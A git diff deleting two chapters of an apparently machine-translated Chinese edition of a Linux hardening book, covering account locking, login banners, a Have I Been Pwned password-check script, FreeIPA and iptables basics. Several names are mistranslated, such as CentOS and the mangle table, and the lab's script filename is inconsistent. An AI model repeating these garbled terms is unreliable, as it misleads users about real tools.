-关于最后一点,你可能会问自己,为什么我们不能删除不再在这里工作的人的账户?而且,你当然可以,很容易。然而,在你这样做之前,你需要检查你当地的法律,以确保你不会给自己带来很大的麻烦。例如,在美国,我们有萨班斯-奥克斯利法案,该法案限制上市公司可以从其计算机中删除哪些文件。如果您要删除一个用户帐户,以及该用户的主目录和邮件缓冲区,您可能会违反萨班斯-奥克斯利法案或您自己国家的同等法律。 - -无论如何,有两个实用程序可以用来临时锁定用户帐户: - -* 使用`usermod`锁定用户账户 -* 使用`passwd`锁定用户账户 - -In apparent contradiction to what I just said, at some point you will need to remove inactive user accounts. That's because malicious actors can use an inactive account to perform their dirty deeds, especially if that inactive account had any sort of administrative privileges. But when you do remove the accounts, make sure that you do so in accordance with local laws and with company policy. In fact, your best bet is to ensure that your organization has written guidelines for removing inactive user accounts in its change management procedures. - -# 使用 usermod 锁定用户帐户 - -假设凯特琳已经休了产假,将会离开几个星期。我们可以通过以下方式锁定她的帐户: - -```sh - sudo usermod -L katelyn -``` - -当您查看 Katelyn 在`/etc/shadow`文件中的条目时,您现在会在她的密码哈希前看到一个感叹号,如下所示: - -```sh -katelyn:!$6$uA5ecH1A$MZ6q5U.cyY2SRSJezV000AudP.ckXXndBNsXUdMI1vPO8aFmlLXcbGV25K5HSSaCv4RlDilwzlXq/hKvXRkpB/:17446:0:99999:7::: -``` - -这个感叹号使系统无法读取她的密码,这实际上将她锁在了系统之外。 - -要解锁她的帐户,只需执行以下操作: - -```sh -sudo usermod -U katelyn -``` - -您将看到感叹号已被删除,因此她现在可以登录她的帐户。 - -# 使用密码锁定用户帐户 - -你也可以用这个锁定凯特琳的账户: - -```sh -sudo passwd -l katelyn -``` - -这与`usermod -L`的工作相同,但方式略有不同。首先,`passwd -l`会给你一些关于正在发生的事情的反馈,而`usermod -L`则完全不给你任何反馈。在 Ubuntu 上,反馈如下: - -```sh -donnie@ubuntu-steemnode:~$ sudo passwd -l katelyn - [sudo] password for donnie: - passwd: password expiry information changed. - donnie@ubuntu-steemnode:~$ -``` - -在 CentOS 上,反馈如下: - -```sh -[donnie@localhost ~]$ sudo passwd -l katelyn - Locking password for user katelyn. - passwd: Success - [donnie@localhost ~]$ -``` - -还有,在 CentOS 机器上,你会看到`passwd -l`在密码哈希前面放了两个感叹号,而不是只有一个。无论哪种方式,效果都是一样的。 - -要解锁 Katelyn 的帐户,只需执行以下操作: - -```sh -sudo passwd -u katelyn -``` - -In versions of Red Hat or CentOS prior to version 7, `usermod -U` would remove only one of the exclamation points that `passwd -l` places in front of the `shadow` file password hash, thereby leaving the account still locked. No big deal, though, because running `usermod -U` again would remove the second exclamation point. - -In Red Hat or CentOS 7, it has been fixed. The `passwd -l` command still places two exclamation points in the `shadow` file, but `usermod -U` now removes both of them. (That's a shame, really, because it ruined a perfectly good demo that I liked to do for my students.) - -# 锁定根用户帐户 - -如今,云是一项大生意,现在从 Rackspace、DigitalOcean 或微软 Azure 等公司租赁虚拟专用服务器非常普遍。这些可以有多种用途: - -* 你可以运行自己的网站,在那里安装自己的服务器软件,而不是让托管服务来做。 -* 您可以设置一个基于网络的应用供其他人访问。 -* 最近,我在一个加密挖掘频道上看到了一个 YouTube 演示,展示了如何在租用的虚拟专用服务器上设置一个 Stake Proof 主节点。 - -这些云服务的一个共同点是,当您第一次设置帐户,提供商为您设置虚拟机时,他们会让您登录根用户帐户。(即使在本地安装的 Ubuntu 上禁用了根帐户,Ubuntu 也会出现这种情况。) - -我知道有一些人只是一直登录这些基于云的服务器的根帐户,并不去想它,但这真的是一个可怕的想法。有僵尸网络,如冰雹玛丽僵尸网络,持续扫描互联网,寻找其安全外壳端口暴露在互联网上的服务器。当僵尸网络找到一个,他们将对该服务器的根用户帐户进行暴力密码攻击。是的,僵尸网络有时会成功入侵,尤其是在根帐户设置了弱密码的情况下。 - -所以,在设置基于云的服务器时,首先要做的是为自己创建一个普通用户帐户,并以完全`sudo`权限设置。然后,注销根用户帐户,登录到您的新帐户,并执行以下操作: - -```sh -sudo passwd -l root -``` - -我的意思是,真的,为什么要冒险让你的根帐户受损? - -# 设置安全横幅 - -你真的,真的不想要的是有一个登录横幅,上面写着欢迎来到我们的网络。我这么说是因为,相当几年前,我参加了一个关于事件处理的辅导 SANS 课程。我们的讲师给我们讲了一个故事,讲的是一家公司如何把一名疑似网络入侵者告上法庭,结果却把这个案子给扔了。原因?被指控的入侵者说:“*嗯,我看到消息说欢迎来到网络,所以我认为我在那里真的很受欢迎。”*是的,据说,这足以让这个案子被驳回。 - -几年后,我把这个故事告诉了我的一个 Linux 管理课上的学生。一个学生说:“这没有道理。 *我们的前门都有迎宾垫,但这并不意味着欢迎窃贼进来。*“我不得不承认他说得有道理,我现在不得不怀疑这个故事的真实性。 - -无论如何,为了安全起见,您确实希望设置登录消息,明确只有授权用户才能访问系统。 - -# 使用 motd 文件 - -`/etc/motd`文件将向通过 Secure Shell 登录系统的任何人显示一条消息横幅。在您的 CentOS 机器上,已经有一个空的`motd`文件。在你的 Ubuntu 机器上,没有`motd`文件,但是创建一个很简单。无论哪种方式,在文本编辑器中打开文件并创建您的消息。保存文件,并通过安全外壳远程登录进行测试。你应该看到这样的东西: - -```sh - maggie@192.168.0.100's password: - Last login: Sat Oct 7 20:51:09 2017 - Warning: Authorized Users Only! - All others will be prosecuted. - [maggie@localhost ~]$ -``` - -`motd` stands for **Message of the Day**. - -Ubuntu 自带一个动态 MOTD 系统,显示来自 Ubuntu 母公司的消息和关于操作系统的消息。当您在`/etc`目录中创建新的`motd`文件时,您放入其中的任何消息都会显示在动态输出的末尾,如下所示: - -```sh -Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-54-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - - System information as of Sat Jul 13 00:21:49 UTC 2019 - - System load: 0.0 Processes: 89 - Usage of /: 20.9% of 20.42GB Users logged in: 1 - Memory usage: 14% IP address for enp0s3: 192.168.0.3 - Swap usage: 0% - - * MicroK8s 1.15 is out! It has already been installed on more - than 14 different distros. Guess which ones? - - https://snapcraft.io/microk8s - - 153 packages can be updated. - 25 updates are security updates. - - Warning!!! Authorized users only! - Last login: Sat Jul 13 00:09:30 2019 - donnie@packtpub1:~$ -``` - -`Warning!!! Authorized users only!`行是我放入`/etc/motd`文件的内容。 - -# 使用问题文件 - -也在`/etc`目录中找到的`issue`文件在本地终端上显示了一条消息,就在登录提示上方。默认的`issue`文件只包含显示机器信息的宏代码。这里有一个来自 Ubuntu 机器的例子: - -```sh -Ubuntu 18.04 LTS \n \l -``` - -或者,在红帽/CentOS 机器上,它看起来像这样: - -```sh -\S -Kernel \r on an \m -``` - -在 Ubuntu 机器上,横幅看起来像这样: - -![](img/17713dde-b1fe-4fab-8fee-5083c637922b.png) - -在 CentOS 机器上,它看起来像这样: - -![](img/eafd277b-b7c1-4b1c-af6c-953b987e78b6.png) - -您可以在问题文件中放入一条安全消息,它将在重新启动后显示: - -![](img/3ff96e02-d914-4100-90c2-80a6268c4909.png) - -实际上,在问题文件中放置安全消息真的有意义吗?如果你的服务器被正确地锁在一个有控制访问的服务器房间里,那么很可能不是。对于公开的台式计算机,这将更有用。 - -# 使用 issue.net 文件 - -只是不要。这是为了`telnet`登录,任何在服务器上启用`telnet`的人都是在严重搞砸。然而,由于某些奇怪的原因,`issue.net`文件仍然挂在`/etc`目录中。 - -# 检测泄露的密码 - -是的,亲爱的心,坏人确实有广泛的密码字典,要么是常用的,要么已经被泄露。暴力破解密码最有效的方法之一是使用这些字典来执行字典攻击。这是当密码破解工具从指定的字典中读入密码,并尝试每个密码,直到列表用尽,或者直到攻击成功。那么,你怎么知道你的密码是否在其中一个名单上?别紧张。只需使用一个在线服务,将为您检查您的密码。一个受欢迎的网站是*我被解雇了吗?*,这里可以看到: - -![](img/72f07007-7eb2-44b4-b20d-5e76539a9f88.png) - -You can get to *Have I Been Pwned?* here: - -[https://haveibeenpwned.com](https://haveibeenpwned.com) - -你真正要做的就是输入你的密码,服务会显示它是否在任何泄露的密码列表中。但是仔细想想。你真的想把你的生产密码发到别人的网站上吗?是的,我想没有。相反,让我们只发送密码的哈希值。更好的是,让我们发送足够多的散列值,让网站能够在其数据库中找到密码,但不要太多,以至于他们无法知道你的确切密码是什么。我们将使用【我被解雇了吗? **应用编程接口** ( **API** )。 - -为了演示基本原理,让我们使用`curl`和应用编程接口来查看密码散列列表,这些散列的值中有`21BD1`。(您可以在任何虚拟机上执行此操作。我将在 Fedora 工作站上进行,我目前正在用它来输入这个。)只需运行以下命令: - -```sh -curl https://api.pwnedpasswords.com/range/21BD1 -``` - -你会得到很多这样的输出,所以我只显示前几行: - -```sh - [donnie@fedora-teaching ~]$ curl https://api.pwnedpasswords.com/range/21BD1 - 0018A45C4D1DEF81644B54AB7F969B88D65:1 - 00D4F6E8FA6EECAD2A3AA415EEC418D38EC:2 - 011053FD0102E94D6AE2F8B83D76FAF94F6:1 - 012A7CA357541F0AC487871FEEC1891C49C:2 - 0136E006E24E7D152139815FB0FC6A50B15:3 - 01A85766CD276B17DE6DA022AA3CADAC3CE:3 - 024067E46835A540D6454DF5D1764F6AA63:3 - 02551CADE5DDB7F0819C22BFBAAC6705182:1 - 025B243055753383B479EF34B44B562701D:2 - 02A56D549B5929D7CD58EEFA97BFA3DDDB3:8 - 02F1C470B30D5DDFF9E914B90D35AB7A38F:3 - 03052B53A891BDEA802D11691B9748C12DC:6 -. . . -. . . -``` - -让我们把这个输入`wc -l`,一个方便的计数工具,看看我们找到了多少匹配的结果: - -```sh - [donnie@fedora-teaching ~]$ curl https://api.pwnedpasswords.com/range/21BD1 | wc -l - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed - 100 20592 0 20592 0 0 197k 0 --:--:-- --:--:-- --:--:-- 199k - 526 - [donnie@fedora-teaching ~]$ -``` - -根据这个,我们找到了 526 个匹配。但是那不是很有用,所以让我们稍微想象一下。我们将通过创建`pwnedpasswords.sh` shell 脚本来实现,如下所示: - -```sh -#!/bin/bash -candidate_password=$1 -echo "Candidate password: $candidate_password" -full_hash=$(echo -n $candidate_password | sha1sum | awk '{print substr($1, 0, 32)}') -prefix=$(echo $full_hash | awk '{print substr($1, 0, 5)}') -suffix=$(echo $full_hash | awk '{print substr($1, 6, 26)}') -if curl https://api.pwnedpasswords.com/range/$prefix | grep -i $suffix; - then echo "Candidate password is compromised"; - else echo "Candidate password is OK for use"; -fi -``` - -好吧,我现在不能试图把你变成一个 shell 脚本专家,但是这里有一个简单的解释: - -* `candidate_password=$1`:这需要您输入调用脚本时要检查的密码。 -* `full_hash=`、`prefix=`、`suffix=`:这些行计算密码的 SHA1 哈希值,然后只提取我们想要发送给密码检查服务的哈希部分。 -* `if curl`:我们以`if..then..else`结构结束,该结构将密码散列的选定部分发送给检查服务,然后告诉我们密码是否被泄露。 - -保存文件后,为用户添加可执行权限,如下所示: - -```sh -chmod u+x pwnedpasswords.sh -``` - -现在,让我们看看我最喜欢的密码`TurkeyLips`是否被泄露了: - -```sh - [donnie@fedora-teaching ~]$ ./pwnedpasswords.sh TurkeyLips - Candidate password: TurkeyLips - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed - 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 09FDEDF4CA44D6B432645D6C1D3A8D4A16BD:2 - 100 21483 0 21483 0 0 107k 0 --:--:-- --:--:-- --:--:-- 107k - Candidate password is compromised - [donnie@fedora-teaching ~]$ -``` - -是的,已经妥协了,好吧。因此,我认为我不想将它用作生产密码。 - -现在,让我们再试一次,除了在末尾加上一个随机的两位数: - -```sh - [donnie@fedora-teaching ~]$ ./pwnedpasswords.sh TurkeyLips98 - Candidate password: TurkeyLips98 - % Total % Received % Xferd Average Speed Time Time Time Current - Dload Upload Total Spent Left Speed - 100 20790 0 20790 0 0 110k 0 --:--:-- --:--:-- --:--:-- 110k - Candidate password is OK for use - [donnie@fedora-teaching ~]$ -``` - -上面说这个没问题。尽管如此,您可能不希望使用这样一个已知已被泄露的简单密码排列。 - -I'd like to take credit for the shell script that I've presented here, but I can't. That was a creation of my buddy, Leo Dorrendorf of the VDOO Internet of Things security company. (I've reproduced the script here with his kind permission.) - -If you're interested in security solutions for your Internet of Things devices, you can check them out here: - -[https://www.vdoo.com/](https://www.vdoo.com/) - -Full disclosure: the VDOO company is one of my clients. - -现在,说了所有这些,我仍然需要提醒您,密码短语仍然比密码更好。密码短语不仅更难破解,而且也不太可能出现在任何人的受损凭证列表中。 - -# 检测泄露密码的实践实验室 - -在本实验中,您将使用`pwnedpasswords`应用编程接口来检查自己的密码: - -1. 使用`curl`查看密码散列中有多少个带有`21BD1`字符串的密码: - -```sh -curl https://api.pwnedpasswords.com/range/21BD1 -``` - -2. 在任何一台 Linux 虚拟机的主目录中,创建包含以下内容的`pwnpassword.sh`脚本: - -```sh -#!/bin/bash -candidate_password=$1 -echo "Candidate password: $candidate_password" - -full_hash=$(echo -n $candidate_password | sha1sum | awk '{print substr($1, 0, 32)}') -prefix=$(echo $full_hash | awk '{print substr($1, 0, 5)}') -suffix=$(echo $full_hash | awk '{print substr($1, 6, 26)}') - -if curl https://api.pwnedpasswords.com/range/$prefix | grep -i $suffix; - then echo "Candidate password is compromised"; - else echo "Candidate password is OK for use"; -fi -``` - -3. 向脚本添加可执行权限: - -```sh -chmod u+x pwnedpasswords.sh -``` - -4. 运行脚本,指定`TurkeyLips`作为密码: - -```sh -./pwnedpasswords.sh TurkeyLips -``` - -5. 重复*步骤 4* 任意多次,每次使用不同的密码。 - -到目前为止,我们所看到的在少量计算机上运行良好。但是如果你在大企业工作呢?我们接下来看看。 - -# 了解集中式用户管理 - -在企业环境中,您通常需要管理成百上千的用户和计算机。因此,登录到每个网络服务器或每个用户的工作站来执行我们刚刚概述的过程是非常不可行的。(但是请记住,您仍然需要这些技能。)我们需要的是一种从一个中心位置管理计算机和用户的方法。空间不允许我给出各种方法的完整细节。所以现在,我们只能满足于一个高层次的概述。 - -# 微软活动目录 - -我并不是 Windows 或微软的忠实粉丝。但是当涉及到活动目录时,我不得不在它应该出现的地方给予肯定。这是一个相当巧妙的产品,极大地简化了非常大的企业网络的管理。是的,可以将 Unix/Linux 计算机及其用户添加到活动目录域中。 - -I've been keeping a dark secret, and I hope that you won't hate me for it. Before I got into Linux, I obtained my MCSE certification for Windows Server 2003\. Mostly, my clients work with nothing but Linux computers, but I occasionally do need to use my MCSE skills. Several years ago, a former client needed me to set up a Linux-based Nagios server as part of a Windows Server 2008 domain, so that its users would be authenticated by Active Directory. It took me a while to get it figured out, but I finally did, and my client was happy. - -除非你戴很多帽子,就像我有时不得不做的那样,否则你——作为一名 Linux 管理员——可能不需要学习如何使用活动目录。最有可能的是,您只需告诉 Windows Server 管理员您需要什么,并让他们来处理。 - -我知道,你已经迫不及待地想看看我们能用 Linux 服务器做些什么。就这样。 - -# Linux 上的 Samba - -Samba 是一个 Unix/Linux 守护程序,可以服务于三个目的: - -* 它的主要目的是与 Windows 工作站共享 Unix/Linux 服务器上的目录。这些目录显示在窗口文件资源管理器中,就好像它们是从其他窗口机器上共享的一样。 -* 它也可以设置为网络打印服务器。 -* 它也可以设置为 Windows 域控制器。 - -您可以在 Linux 服务器上安装 Samba 版本 3,并将其设置为作为旧式的 Windows NT 域控制器。这是一个相当复杂的过程,需要一段时间。完成后,您可以将 Linux 和 Windows 机器加入域,并使用正常的 Windows 用户管理实用程序来管理用户和组。 - -Linux 社区的神圣 Grails 之一是找出如何在 Linux 服务器上模拟活动目录。就在几年前,随着 Samba 版本 4 的推出,这成为了现实。但是设置它是一个非常复杂的过程,你可能不会喜欢这样做。所以,也许我们应该继续寻找更好的东西。 - -# RHEL/中央电视台的身份管理 - -几年前,红帽公司推出了 FreeIPA 作为 Fedora 的一套套装。为什么是 Fedora?这是因为他们想在 Fedora 上对其进行彻底测试,然后再将其用于实际的生产网络。现在 RHEL 6 号到 RHEL 8 号以及他们的所有后代,包括 CentOS 都可以使用。这就是 IPA 的含义: - -* 身份 -* 政策 -* 审计 - -这在某种程度上是对微软活动目录的回答,但它仍然不是一个完整的答案。它做了一些很酷的事情,但它仍然是一项正在进行的工作。最酷的是它的安装和设置非常简单。真正需要做的就是从普通的存储库中安装软件包,打开适当的防火墙端口,然后运行安装脚本。然后,你们都准备好开始通过 FreeIPA 的网络界面向新域添加用户和计算机。在这里,我要添加克利奥帕特拉,我的灰白色斑猫: - -![](img/26b4b169-b23f-41e8-ba95-a9e63b3723b8.png) - -虽然可以将 Windows 机器添加到 FreeIPA 域,但不建议这样做。但是,从 RHEL/CentOS 7.1 开始,您可以使用 FreeIPA 与 Active Directory 域创建跨域信任。 - -The official name of this program is FreeIPA. But, for some strange reason, the Red Hat folk refuse to mention that name in their documentation. They always just refer to it as either Identity Management or IdM. - -这差不多就是用户管理的话题了。让我们总结一下,然后进入下一章。 - -# 摘要 - -我们在这一章中讨论了很多内容,希望你能找到一些你可以实际使用的建议。我们首先向您展示了始终以 root 用户身份登录的危险,以及您应该如何使用`sudo`来代替。除了向您展示`sudo`用法的基本知识,我们还看了一些好的`sudo`技巧和窍门。 - -我们通过研究如何锁定用户的主目录,如何实施强密码策略,以及如何实施帐户和密码过期策略,进而进入用户管理。然后,我们讨论了防止暴力密码攻击的方法、如何手动锁定用户帐户、如何设置安全横幅以及如何检查泄露的密码。我们用中央用户管理系统的简要概述来结束本文。 - -在下一章中,我们将了解如何使用各种防火墙实用程序。到时候见。 - -# 问题 - -1. 授予用户管理权限的最佳方式是什么? - 答:给每个管理用户根用户密码。 - B .将每个管理用户添加到`sudo`组或`wheel`组。 - C .创建`sudo`规则,只允许管理用户执行与其工作直接相关的任务。 - D .将每个管理用户添加到`sudoers`文件中,并授予他们完全管理权限。 -2. 以下哪一项是正确的? - A .当用户以 root 用户身份登录时,他们执行的所有操作都将记录在`auth.log`或`secure`日志文件中。 - B .当用户使用`sudo`时,他们执行的所有动作都会记录在`messages`或`syslog`文件中。 - C .当用户以 root 用户身份登录时,他们执行的所有操作都将记录在`messages`或`syslog`文件中。 - D .当用户使用`sudo`时,他们执行的所有动作都会记录在`auth.log`或`secure`日志文件中。 -3. 您会在哪个文件中配置复杂的密码标准? - -4. 使用`useradd`工具时,`/etc/login.defs`文件中的`UMASK`设置应该是什么? -5. 使用`adduser`实用程序时,您会如何配置`/etc/adduser.conf`文件,以使新用户的主目录阻止其他用户访问它们? -6. 国家标准与技术研究所最近对他们推荐的密码政策做了什么改变? -7. 您会使用以下哪种方法为其他用户创建`sudo`规则? - A .在自己喜欢的文本编辑器中打开`/etc/sudoers`文件。 - B .用`visudo`打开`/etc/sudoers`文件。向每个用户的主目录添加一个`sudoers`文件。 - D .用`visudo`打开`/var/spool/sudoers`文件。 -8. 您可以使用以下哪三种实用程序来设置用户帐户到期数据? - a .`useradd`T5】b .`adduser`T6】c .`usermod`T7】d .`chage` -9. 为什么你想锁定前员工的用户账户,而不是删除它? - A .锁定账户比删除账户容易。 - B .删除一个账号需要太长时间。 - C .不能删除用户账号。 - D .删除一个用户账号,连同用户的文件和邮箱,可能会给你带来法律上的麻烦。 -10. 您刚刚为 Samson 创建了一个用户帐户,现在您想强制他在第一次登录时更改密码。以下哪两个命令可以做到这一点? - a .`sudo chage -d 0 samson`T5】b .`sudo passwd -d 0 samson`T6】c .`sudo chage -e samson`T7】d .`sudo passwd -e samson` - -11. 以下哪一项代表最佳安全实践? - A .始终将根用户密码给所有需要执行管理任务的用户。 - B .始终给予所有需要执行管理任务的用户完全`sudo`权限。 - C .始终只给予需要执行管理任务的所有用户特定的、有限的`sudo`权限。 - D .始终在普通文本编辑器中编辑`sudoers`文件,如 nano、vim 或 emacs。 -12. 以下哪个陈述是正确的? - A. `sudo`只能在 Linux 上使用。 - B. `sudo`可以在 Linux、Unix、BSD 操作系统上使用。 - C .当用户使用`sudo`执行任务时,该任务不会记录在安全日志中。 - D .使用`sudo`时,用户必须输入 root 用户密码。 -13. 您希望特定用户编辑特定的系统配置文件,但不希望他们使用 shell escape 来执行其他管理任务。你会做以下哪一项? - A .在`sudoers`文件中,指定用户只能使用 vim 打开特定的配置文件。在`sudoers`文件中,指定用户可以使用`sudoedit`编辑特定的配置文件。在`sudoers`文件中,为这些用户指定`no shell escape`选项。 - D .在`sudoers`文件中,将这些用户放入没有 shell escape 权限的组中。 -14. `adduser`效用相对于传统的`useradd`效用,以下哪一项是优势? - A. `adduser`可以用在 shell 脚本中。 - B. `adduser`适用于所有 Linux 发行版。 - C. `adduser`有一个选项,允许您在创建用户帐户时加密用户的主目录。 - D. `adduser`同样适用于 Unix 和 BSD。 -15. 在最新的 Linux 发行版中,您将用来实施强密码的 PAM 的名称是什么? - A .密码 - B .密码 - C .安全 - D .密码质量 - -# 进一步阅读 - -* 你可能根本不需要复杂的字母数字密码:[https://www . pcmag . com/news/355496/你可能不需要复杂的字母数字密码毕竟](https://www.pcmag.com/news/355496/you-might-not-need-complex-alphanumeric-passwords-after-all) -* 新的 NIST 指导方针-我们之前都错了 -* 利用 sudo 权限的 Linux 权限升级:https://medium . com/schkn/Linux-权限升级-使用-文本-编辑器和文件-第 1 部分-a8373396708d -* sudo 主页: [https://www.sudo.ws/](https://www.sudo.ws/) -* 授予 sudo 访问权限:[https://www . golinuxhub . com/2013/12/如何向用户授予运行权限. html](https://www.golinuxhub.com/2013/12/how-to-give-permission-to-user-to-run.html) -* Linux 用户管理:[https://www.youtube.com/playlist?list = pl6iq3n fzzwfpy2g iscppfk 3uqvgf _ x7G](https://www.youtube.com/playlist?list=PL6IQ3nFZzWfpy2gISpCppFk3UQVGf_x7G) -* 自由国际项目主页:[https://www.freeipa.org/page/Main_Page](https://www.freeipa.org/page/Main_Page) -* RHEL 8 文档(向下滚动到身份管理部分):[https://access . RedHat . com/Documentation/en-us/red _ hat _ enterprise _ Linux/8/](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/) -* RHEL 7 文档(向下滚动到身份管理部分):[https://access . RedHat . com/Documentation/en-us/red _ hat _ enterprise _ Linux/7/](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/03.md b/docs/master-linux-sec-hard/03.md deleted file mode 100644 index 036562a7..00000000 --- a/docs/master-linux-sec-hard/03.md +++ /dev/null @@ -1,1252 +0,0 @@ -# 三、使用防火墙保护您的服务器——第 1 部分 - -安全性是最好分层完成的事情之一。我们称之为深度安全。因此,在任何给定的公司网络上,您都会发现一个防火墙设备,将互联网与您的面向互联网的服务器所在的**非军事区** ( **非军事区**)隔开。您还可以在非军事区和内部局域网之间找到一个防火墙设备,以及安装在每台服务器和客户机上的防火墙软件。我们希望尽可能让入侵者难以在我们的网络中到达他们的最终目的地。 - -然而,有趣的是,在所有主要的 Linux 发行版中,只有 SUSE 发行版和红帽类型发行版已经安装并启用了 firewalld。当您查看您的 Ubuntu 虚拟机时,您会发现它是完全开放的,就好像它在向任何潜在的入侵者表示衷心的欢迎。 - -由于本书的重点是加固我们的 Linux 服务器,我们将在这一章集中讨论最后一层防御:服务器和客户端上的防火墙。我们将涵盖所有主要的命令行防火墙接口,从 **iptables** 到新的 kid on block**nftables**。 - -在本章中,我们将涵盖以下主题: - -* 防火墙概述 -* iptables 概述 -* Ubuntu 系统的简单防火墙 - -在下一章中,我们将讨论 nftables 和 firewalld。 - -# 技术要求 - -本章的代码文件可以在这里找到:[https://github . com/packt publishing/Mastering-Linux-Security-and-Harding-第二版](https://github.com/PacktPublishing/Mastering-Linux-Security-and-Hardening-Second-Edition)。 - -# 防火墙概述 - -在典型的业务环境中,尤其是在大型企业中,您可能会在不同的地方遇到各种类型的防火墙,它们可以提供各种类型的功能。一些例子如下: - -* 将互联网与内部网络分开的边缘设备将可路由的公共 IP 地址转换为不可路由的私有 IP 地址。他们还可以提供各种类型的访问控制来阻止未经授权的人。通过还提供各种类型的数据包检查服务,它们可以帮助防止对内部网络的攻击,防范恶意软件,并防止敏感信息从内部网络泄漏到互联网。 -* 大型企业网络通常分为子网或*子网*,每个公司部门都有一个属于自己的子网。最佳做法是用防火墙分隔子网。这有助于确保只有授权人员才能访问任何给定的子网。 -* 当然,您还可以在单独的服务器和工作站上运行 firewalld。通过提供一种形式的访问控制,它们可以帮助防止入侵者从一台机器向网络上的另一台机器进行横向移动。它们还可以配置为防止某些类型的端口扫描和**拒绝服务** ( **DoS** )攻击。 - -对于前面列表中的前两个项目,您可能会看到专门的防火墙设备和防火墙管理员团队在处理它们。列表中的第三项是你,Linux 专业人员,进入图片的地方。在这一章和下一章中,我们将看看 Linux 服务器和 Linux 工作站发行版附带的防火墙技术。 - -# iptables 概述 - -一个常见的误解是 iptables 是 Linux 防火墙的名称。实际上,Linux 防火墙的名字是 netfilter,每个 Linux 发行版都内置了它。我们所知道的是,iptables 只是我们可以用来管理 netfilter 的几个命令行实用程序之一。它最初是作为 Linux 内核 2.6 版本的一个特性引入的,所以它已经存在了很长时间。使用 iptables,您确实有一些优势: - -* 它已经存在了足够长的时间,大多数 Linux 管理员已经知道如何使用它。 -* 很容易在 shell 脚本中使用 iptables 命令来创建自己的自定义防火墙配置。 -* 它具有很大的灵活性,因为您可以使用它来设置简单的端口过滤器、路由器或虚拟专用网络。 -* 几乎每个 Linux 发行版都预装了它,尽管大多数发行版都没有预配置它。 -* 它被很好地记录下来,并且在互联网上有免费的、书籍长度的教程。 - -但是,您可能知道,也有一些缺点: - -* IPv4 和 IPv6 都需要自己特殊的 iptables 实现。因此,如果您的组织在迁移到 IPv6 的过程中仍然需要运行 IPv4,那么您必须在每台服务器上配置两个防火墙,并为每台服务器运行一个单独的守护程序(一个用于 IPv4,另一个用于 IPv6)。 -* 如果你需要做 MAC 桥接,那就需要 ebtables,它是 iptables 的第三个组件,有自己独特的语法。 -* arptables 是 iptables 的第四个组件,也需要自己的守护进程和语法。 -* 每当您向正在运行的 iptables 防火墙添加规则时,必须重新加载整个 iptables 规则集,这可能会对性能产生巨大影响。 - -直到最近,普通 iptables 还是每个 Linux 发行版的默认防火墙管理器。它仍然在大多数发行版上,但是红帽企业版 Linux 7 及其所有后代现在都使用新的 firewalld 作为更容易使用的前端来配置 iptables 规则。Ubuntu 自带**简单防火墙** ( **ufw** ),这也是一个易于使用的 iptables 前端。我们将探索的一项更新的技术是 nftables,它在 Debian/Ubuntu 系统上作为一个选项提供。在红帽 8/CentOS 8 系统上,nftables 已经取代 iptables 成为 firewalld 的默认后端。(如果这一切听起来令人困惑,不要担心——一切都会在适当的时候变得清晰。) - -在本章中,我们将讨论为 IPv4 和 IPv6 设置 iptables 防火墙规则。 - -# 掌握 iptables 的基础知识 - -iptables 由五个规则表组成,每个表都有自己独特的用途: - -* **过滤表**:为了对我们的服务器和客户端进行基本保护,这可能是我们唯一使用的表。 -* **网络地址转换(NAT)表** : NAT 用于将公共互联网连接到专用网络。 -* **破坏表**:这是用来在网络数据包通过防火墙时改变数据包的。 -* **原始表**:这是针对不需要连接跟踪的数据包。 -* **安全表**:安全表只用于安装了 SELinux 的系统。 - -因为我们目前只对基本的主机保护感兴趣,所以我们暂时只看过滤表。(过一会儿,我将向您展示一些我们可以用轧伤台完成的奇特技巧。)每个表由规则链组成,过滤表由`INPUT`、`FORWARD`和`OUTPUT`链组成。由于我们的 CentOS 机器使用红帽的防火墙,我们将在我们的 Ubuntu 机器上看到这一点。 - -While it's true that Red Hat Enterprise Linux 7/8 and their offspring do come with the iptables service already installed, it's disabled by default so that we can use firewalld. It's not possible to have both the iptables service and the firewalld service running at the same time, because they're two totally different animals that are completely incompatible. So, if you need to run the iptables service on a Red Hat 7/8 system, you can do so, but you must disable firewalld first. - -However, if your organization is still running its network with version 6 of either Red Hat or CentOS, then your machines are still running with iptables, since firewalld isn't available for them. - -首先,我们将通过使用`sudo iptables -L`命令来查看我们当前的配置: - -```sh - donnie@ubuntu:~$ sudo iptables -L - [sudo] password for donnie: - Chain INPUT (policy ACCEPT) - target prot opt source destination - Chain FORWARD (policy ACCEPT) - target prot opt source destination - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -还记得我们说过您需要 iptables 的单独组件来处理 IPv6 吗?在这里,我们将使用`sudo ip6tables -L`命令: - -```sh - donnie@ubuntu:~$ sudo ip6tables -L - Chain INPUT (policy ACCEPT) - target prot opt source destination - Chain FORWARD (policy ACCEPT) - target prot opt source destination - Chain OUTPUT (policy ACCEPT) - target prot opt source destination - donnie@ubuntu:~$ -``` - -在这两种情况下,你可以看到没有规则,机器是完全开放的。不像 SUSE 和红帽的人,Ubuntu 的人期望你做所有设置防火墙的工作。我们将首先创建一个规则,允许我们将主机请求连接的服务器传入的数据包传递到: - -```sh -sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT -``` - -下面是这个命令的分解: - -* `-A INPUT` : `-A`在指定链的末端放置一个规则,在本例中是`INPUT`链。如果我们想将规则放在链的开头,我们会使用`-I`。 -* `-m`:这在 iptables 模块中调用。在这种情况下,我们调用 conntrack 模块来跟踪连接状态。例如,这个模块允许 iptables 确定我们的客户端是否已经连接到另一台机器。 -* `--ctstate`:我们的规则中的 ctstate 或 connection state 部分在寻找两件事。首先,它寻找客户端与服务器建立的连接。然后,它寻找从服务器返回的相关连接,以便允许它连接到客户端。因此,如果用户使用网络浏览器连接到网站,该规则将允许来自网络服务器的数据包通过防火墙到达用户的浏览器。 -* `-j`:这个代表跳跃。规则跳转到一个特定的目标,在这种情况下是`ACCEPT`。(请不要问我这个术语是谁想出来的。)因此,此规则将接受客户端请求连接的服务器返回的数据包。 - 